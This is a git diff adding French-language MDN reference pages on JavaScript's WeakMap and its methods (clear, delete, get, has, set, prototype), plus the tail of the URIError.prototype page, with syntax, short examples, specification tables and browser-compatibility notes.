+ <dt>{{jsxref("Error.prototype.name", "URIError.prototype.name")}}</dt>
+ <dd>Un nom d'erreur. Héritée depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "URIError.prototype.fileName")}}</dt>
+ <dd>Le chemin vers le fichier qui a causé l'erreur. Héritée depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "URIError.prototype.lineNumber")}}</dt>
+ <dd>Le numéro de la ligne dans le fichier qui a causé l'erreur. Héritée depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "URIError.prototype.columnNumber")}}</dt>
+ <dd>Le numéro de colonne (la position dans la ligne) dans le fichier qui a causé l'erreur. Héritée depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "URIError.prototype.stack")}}</dt>
+ <dd>La pile d'appels ayant mené à l'erreur (<em>stack trace</em>). Héritée de {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Bien que l'objet prototype pour {{jsxref("URIError")}} ne contienne pas de méthode qui lui soit directement rattachée, les instances d'{{jsxref("URIError")}} héritent de certaines méthodes grâce à la chaîne de prototypes.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-15.11.7.6', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définie comme <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définie comme <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définie comme <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.URIError")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakmap/clear/index.html b/files/fr/web/javascript/reference/objets_globaux/weakmap/clear/index.html
new file mode 100644
index 0000000000..408fd7a539
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/weakmap/clear/index.html
@@ -0,0 +1,52 @@
+---
+title: WeakMap.prototype.clear()
+slug: Web/JavaScript/Reference/Objets_globaux/WeakMap/clear
+tags:
+  - JavaScript
+  - Méthode
+  - Obsolete
+  - Prototype
+  - Reference
+  - WeakMap
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/clear
+---
+<div>{{JSRef}} {{obsolete_header}}</div>
+
+<p>La méthode <code><strong>clear()</strong></code> permettait de retirer tous les éléments d'un objet <code>WeakMap</code> mais celle-ci ne fait plus partie d'ECMAScript.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><code><var>wm</var>.clear();</code></pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js;highlight:[10] example-bad">var wm = new WeakMap();
+var obj = {};
+
+wm.set(obj, "toto");
+wm.set(window, "truc");
+
+wm.has(obj); // true
+wm.has(window); // true
+
+wm.clear();
+
+wm.has(obj);  // false
+wm.has(window);  // false
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette méthode ne fait partie d'aucune spécification ou brouillon. Cette méthode a fait partie du brouillon ECMAScript 6 jusqu'à la révision 28 (version du 14 octobre 2014) mais a été retiré par la suite. Cette méthode ne fait pas partie du standard final.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WeakMap.clear")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("WeakMap")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakmap/delete/index.html b/files/fr/web/javascript/reference/objets_globaux/weakmap/delete/index.html
new file mode 100644
index 0000000000..56f16a93e9
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/weakmap/delete/index.html
@@ -0,0 +1,78 @@
+---
+title: WeakMap.prototype.delete()
+slug: Web/JavaScript/Reference/Objets_globaux/WeakMap/delete
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - WeakMap
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/delete
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>delete()</strong></code> retire un élément donné de l'objet {{jsxref("WeakMap")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/weakmap-prototype-delete.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>wm</var>.delete(<var>clé</var>);</pre>
+
+<h3 id="Paramètre">Paramètre</h3>
+
+<dl>
+ <dt><code>clé</code></dt>
+ <dd>Il correspond à la clé de l'élément qu'on souhaite retirer de l'objet <code>WeakMap</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>true</code> si un élément de l'objet <code>WeakMap</code> a bien été retiré, <code>false</code> si la clé n'a pas été trouvée ou si la clé n'est pas un objet.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js;highlight:[4]">var wm = new WeakMap();
+wm.set(window, "toto");
+
+wm.delete(window); // Renvoie true. La suppression a bien eu lieu.
+
+wm.has(window);    // Renvoie false. L'objet window n'est plus dans la WeakMap.
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-weakmap.prototype.delete', 'WeakMap.prototype.delete')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakmap.prototype.delete', 'WeakMap.prototype.delete')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WeakMap.delete")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("WeakMap")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakmap/get/index.html b/files/fr/web/javascript/reference/objets_globaux/weakmap/get/index.html
new file mode 100644
index 0000000000..88e13f92f3
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/weakmap/get/index.html
@@ -0,0 +1,79 @@
+---
+title: WeakMap.prototype.get()
+slug: Web/JavaScript/Reference/Objets_globaux/WeakMap/get
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - WeakMap
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/get
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>get()</strong></code> permet de renvoyer un élément donné d'un objet <code>WeakMap</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/weakmap-prototype-get.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>wm</var>.get(<var>clé</var>);</pre>
+
+<h3 id="Paramètre">Paramètre</h3>
+
+<dl>
+ <dt><code>clé</code></dt>
+ <dd>Ce paramètre est obligatoire. Il correspond à la clé de l'élément qu'on souhaite récupérer depuis l'objet <code>WeakMap</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'élément associé à la clé donnée ou <code>undefined</code> si la clé ne peut pas être trouvée dans l'objet <code>WeakMap</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var wm = new WeakMap();
+wm.set(window, "toto");
+
+wm.get(window); // Renvoie "toto"
+wm.get("machin");  // Renvoie undefined.
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-weakmap.prototype.get', 'WeakMap.prototype.get')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakmap.prototype.get', 'WeakMap.prototype.get')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WeakMap.get")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakMap.set()")}}</li>
+ <li>{{jsxref("WeakMap.has()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakmap/has/index.html b/files/fr/web/javascript/reference/objets_globaux/weakmap/has/index.html
new file mode 100644
index 0000000000..6499d58bb7
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/weakmap/has/index.html
@@ -0,0 +1,79 @@
+---
+title: WeakMap.prototype.has()
+slug: Web/JavaScript/Reference/Objets_globaux/WeakMap/has
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - WeakMap
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/has
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>has()</strong></code> renvoie un booléen qui indique s'il existe (ou non) un élément avec une clé donnée au sein de l'objet <code>WeakMap</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/weakmap-prototype-has.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>wm</var>.has(<var>clé</var>);</pre>
+
+<h3 id="Paramètre">Paramètre</h3>
+
+<dl>
+ <dt><code>clé</code></dt>
+ <dd>Ce paramètre est obligatoire. Il correspond à la clé de l'élément dont on souhaite savoir s'il est présent dans l'objet <code>WeakMap</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La méthode renvoie <code>true</code> s'il existe un élément du <code>WeakMap</code> avec la clé donné, <code>false</code> sinon.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var wm = new WeakMap();
+wm.set(window, "toto");
+
+wm.has(window); // renvoie true
+wm.has("machin");  // renvoie false
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-weakmap.prototype.has', 'WeakMap.prototype.has')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakmap.prototype.has', 'WeakMap.prototype.has')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WeakMap.has")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakMap.prototype.set()")}}</li>
+ <li>{{jsxref("WeakMap.prototype.get()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakmap/index.html b/files/fr/web/javascript/reference/objets_globaux/weakmap/index.html
new file mode 100644
index 0000000000..27589afd41
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/weakmap/index.html
@@ -0,0 +1,163 @@
+---
+title: WeakMap
+slug: Web/JavaScript/Reference/Objets_globaux/WeakMap
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Reference
+  - WeakMap
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <strong><code>WeakMap</code></strong> représente une collection de paires clé-valeur dont les clés sont des objets et pour lesquelles les références sont « faibles » et les valeurs des valeurs quelconques.</p>
+
+<div class="note">
+<p><strong>Note :</strong> vous pouvez en savoir plus sur les <code>WeakMap</code> en lisant l'article sur <a href="/fr/docs/Web/JavaScript/Guide/Collections_avec_clés#Le_type_WeakMap">les collections à clé</a>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new WeakMap([<var>itérable</var>])
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>itérable</code></dt>
+ <dd>Paramètre optionnel. Un tableau (objet <code>Array</code>) ou tout autre objet itérable dont les éléments sont des paires composées d'une clé et d'une valeur (des tableaux de 2 éléments). Chaque paire sera ajoutée à la carte (<em>map</em> en anglais). {{jsxref("null")}} sera traité comme {{jsxref("undefined")}}.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Les clés des objets <code>WeakMap</code> sont nécessairement du type <code>Object</code>. {{Glossary("Primitive", "Des types de données primitifs")}} ne sont pas autorisés pour les clés (ex : un {{jsxref("Symbol")}} ne peut pas être une clé dans un <code>WeakMap</code>).</p>
+
+<p>Les clés d'une <code>WeakMap</code> sont référencées <em>faiblement</em>. Cela signifie que s'il n'existe aucune autre référence « forte » vers la clé, l'élément (la clé et la valeur) sera retiré de la <code>WeakMap</code> par le ramasse-miettes.</p>
+
+<h3 id="Pourquoi_WeakMap">Pourquoi <em>Weak</em>Map ?</h3>
+
+<p>Avec un certain recul, on peut voir que cette API aurait pu être implémentée en JavaScript grâce à deux tableaux (un tableau pour stocker les clés, l'autre pour les valeurs) associées à 4 méthodes.</p>
+
+<p>Une telle implémentation présente deux inconvénients principaux. Le premier est que la recherche serait effectué en O(n) (avec n le nombre de clés). Le second inconvénient concerne les fuites mémoires. Si la carte (<em>map</em>) est construite manuellement, le tableau contenant les clés serait obligé de garder les références vers les objets que sont les clés, ce qui les empêcheraient d'être nettoyés par le ramasse-miette. Grâce aux objets natifs <code>WeakMap</code>, les références vers les clés sont faibles (<em>weak</em>) ce qui permet au ramasse miette de nettoyer l'objet au cas où il n'y aurait pas d'autres références vers cet objet.</p>
+
+<p>Étant donné que les références sont faibles, il est impossible d'énumérer les clés des objets <code>WeakMap</code> (c'est-à-dire qu'on ne dispose pas d'une méthode renvoyant la liste des clés). Si c'était le cas, la liste dépendrait d'un état lié au ramasse-miette et il n'y aurait pas de façon déterministe de connaître le résultat. Si vous souhaitez avoir une liste de clés, vous devriez plutôt utiliser un objet {{jsxref("Map")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>WeakMap.length</code></dt>
+ <dd>La valeur de la propriété <code>length</code> vaut 0.</dd>
+ <dt>{{jsxref("WeakMap.prototype")}}</dt>
+ <dd>Cette propriété représente le prototype du constructeur <code>WeakMap</code>. Il permet d'ajouter des propriétés pour toutes les instances de <code>WeakMap</code>.</dd>
+</dl>
+
+<h2 id="Instances_de_WeakMap">Instances de <code>WeakMap</code></h2>
+
+<p>Toutes les instances de <code>WeakMap</code> héritent de {{jsxref("WeakMap.prototype")}}.</p>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<p>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/WeakMap/prototype','Properties')}}</p>
+
+<h3 id="Méthodes">Méthodes</h3>
+
+<p>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/WeakMap/prototype','Methods')}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_WeakMap">Utiliser <code>WeakMap</code></h3>
+
+<pre class="brush: js">var wm1 = new WeakMap(),
+    wm2 = new WeakMap(),
+    wm3 = new WeakMap();
+var o1 = {},
+    o2 = function(){},
+    o3 = window;
+
+wm1.set(o1, 37);
+wm1.set(o2, "azerty");
+wm2.set(o1, o2); // une valeur peut être n'importe quoi, y compris un objet ou une fonction
+wm2.set(o3, undefined);
+wm2.set(wm1, wm2); // Les clés et les valeurs peuvent n'importe quels objets, y compris des WeakMap
+
+wm1.get(o2); // "azerty"
+wm2.get(o2); // undefined car il n'y a pas de valeur pour o2 sur wm2
+wm2.get(o3); // undefined car c'est la valeur utilisée
+
+wm1.has(o2); // true
+wm2.has(o2); // false
+wm2.has(o3); // true (même si la valeur est 'undefined')
+
+wm3.set(o1, 37);
+wm3.get(o1); // 37
+
+wm1.has(o1);   // true
+wm1.delete(o1);
+wm1.has(o1);   // false
+
+</pre>
+
+<h3 id="Implémenter_une_classe_semblable_à_WeakMap_avec_une_méthode_.clear()">Implémenter une classe semblable à <code>WeakMap</code> avec une méthode .clear()</h3>
+
+<pre class="brush: js">class ClearableWeakMap {
+    constructor(init) {
+        this._wm = new WeakMap(init)
+    }
+    clear() {
+        this._wm = new WeakMap()
+    }
+    delete(k) {
+        return this._wm.delete(k)
+    }
+    get(k) {
+        return this._wm.get(k)
+    }
+    has(k) {
+        return this._wm.has(k)
+    }
+    set(k, v) {
+        this._wm.set(k, v)
+        return this
+    }
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakmap-objects', 'WeakMap')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-weakmap-objects', 'WeakMap')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WeakMap")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="link-https" href="/fr/docs/Web/JavaScript/Guide/Collections_avec_clés#Le_type_WeakMap">Le guide sur les collections à clé JavaScript</a></li>
+ <li><a href="https://fitzgeraldnick.com/weblog/53/">Masquer des détails d'implémentation avec les WeakMaps ECMAScript 2015</a> (en anglais)</li>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakmap/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/weakmap/prototype/index.html
new file mode 100644
index 0000000000..e63090051e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/weakmap/prototype/index.html
@@ -0,0 +1,81 @@
+---
+title: WeakMap.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/WeakMap/prototype
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Propriété
+  - Reference
+  - WeakMap
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>WeakMap</strong></code><strong><code>.prototype</code></strong> représente le prototype du constructeur {{jsxref("WeakMap")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Les instances de {{jsxref("WeakMap")}} héritent de {{jsxref("WeakMap.prototype")}}. L'objet prototype du constructeur peut donc être utilisé pour ajouter des propriétés et/ou des méthodes pour toutes les instances de <code>WeakMap</code>.</p>
+
+<p>WeakMap.prototype est un objet ordinaire :</p>
+
+<pre class="brush: js">Object.prototype.toString.call(WeakMap.prototype); // "[object Object]"
+</pre>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>WeakMap.prototype.constructor</code></dt>
+ <dd>Renvoie la fonction qui a créé le prototype de l'instance. Par défaut, ce sera la fonction {{jsxref("WeakMap")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("WeakMap.delete", "WeakMap.prototype.delete(clé)")}}</dt>
+ <dd>Retire la valeur associée à la clé <code>clé.</code> <code>WeakMap.prototype.has(clé)</code> renverra <code>false</code> une fois la valeur supprimée.</dd>
+ <dt>{{jsxref("WeakMap.get", "WeakMap.prototype.get(clé)")}}</dt>
+ <dd>Renvoie la valeur associée à la <code>clé</code>, ou <code>undefined</code> s'il n'y en a pas.</dd>
+ <dt>{{jsxref("WeakMap.has", "WeakMap.prototype.has(clé)")}}</dt>
+ <dd>Renvoie un booléen qui indique s'il existe ou non une valeur associée à une <code>clé</code> donnée pour l'objet <code>WeakMap</code>.</dd>
+ <dt>{{jsxref("WeakMap.set", "WeakMap.prototype.set(clé, valeur)")}}</dt>
+ <dd>Définit la valeur associée à la <code>clé</code> dans l'objet <code>WeakMap</code>. La méthode renvoie l'objet<code> WeakMap</code>.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("WeakMap.prototype.clear()")}}</s> {{obsolete_inline}}</dt>
+ <dd><s class="obsoleteElement">Retire toutes les paires de clés/valeurs contenues dans l'objet <code>WeakMap</code>. Il est possible de construire un objet semblable à <code>WeakMap</code> qui possède une méthode <code>clear()</code> en encapsulant (cf. l'exemple sur la page {{jsxref("WeakMap")}}).</s></dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-weakmap.prototype', 'WeakMap.prototype')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakmap.prototype', 'WeakMap.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WeakMap.prototype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakmap/set/index.html b/files/fr/web/javascript/reference/objets_globaux/weakmap/set/index.html
new file mode 100644
index 0000000000..8754e8acc7
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/weakmap/set/index.html
@@ -0,0 +1,90 @@
+---
+title: WeakMap.prototype.set()
+slug: Web/JavaScript/Reference/Objets_globaux/WeakMap/set
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - WeakMap
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/set
+---
+<div>s{{JSRef}}</div>
+
+<p>La méthode <code><strong>set()</strong></code> permet d'ajouter un nouvel élément avec une <code>clé</code> et une <code>valeur</code> à un objet <code>WeakMap</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/weakmap-prototype-set.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>wm</var>.set(<var>clé</var>, <var>valeur</var>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>clé</code></dt>
+ <dd>Ce paramètre est obligatoire et doit être un objet. Il correspond à la clé de l'élément qu'on souhaite ajouter à l'objet <code>WeakMap</code>.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>Ce paramètre est obligatoire et peut avoir n'importe quel type. Il correspond à la valeur de l'élément qu'on souhaite ajouter à l'objet <code>WeakMap</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Cette méthode renvoie l'objet <code>WeakMap</code> potentiellement mis à jour.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var wm = new WeakMap();
+var obj = {};
+
+// Ajouter un nouvel élément à la WeakMap
+wm.set(obj, "toto").set(window, "truc"); // on peut chaîner les instructions
+
+// Mettre à jour un élément de la WeakMap
+wm.set(obj, "machin");
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-weakmap.prototype.set', 'WeakMap.prototype.set')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakmap.prototype.set', 'WeakMap.prototype.set')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WeakMap.set")}}</p>
+
+<h2 id="Notes_relatives_à_Firefox">Notes relatives à Firefox</h2>
+
+<ul>
+ <li>Avant Firefox 33 {{geckoRelease("33")}}, <code>WeakMap.prototype.set</code> renvoyait <code>undefined</code> et ne pouvait donc pas être utilisé à la chaîne (voir l'exemple ci-avant). Ceci a été corrigé avec le {{bug(1031632)}}. Ce comportement a été le même pour Chrome/v8 et fut également corrigé (<a href="https://code.google.com/p/v8/issues/detail?id=3410">issue</a>).</li>
+</ul>
+
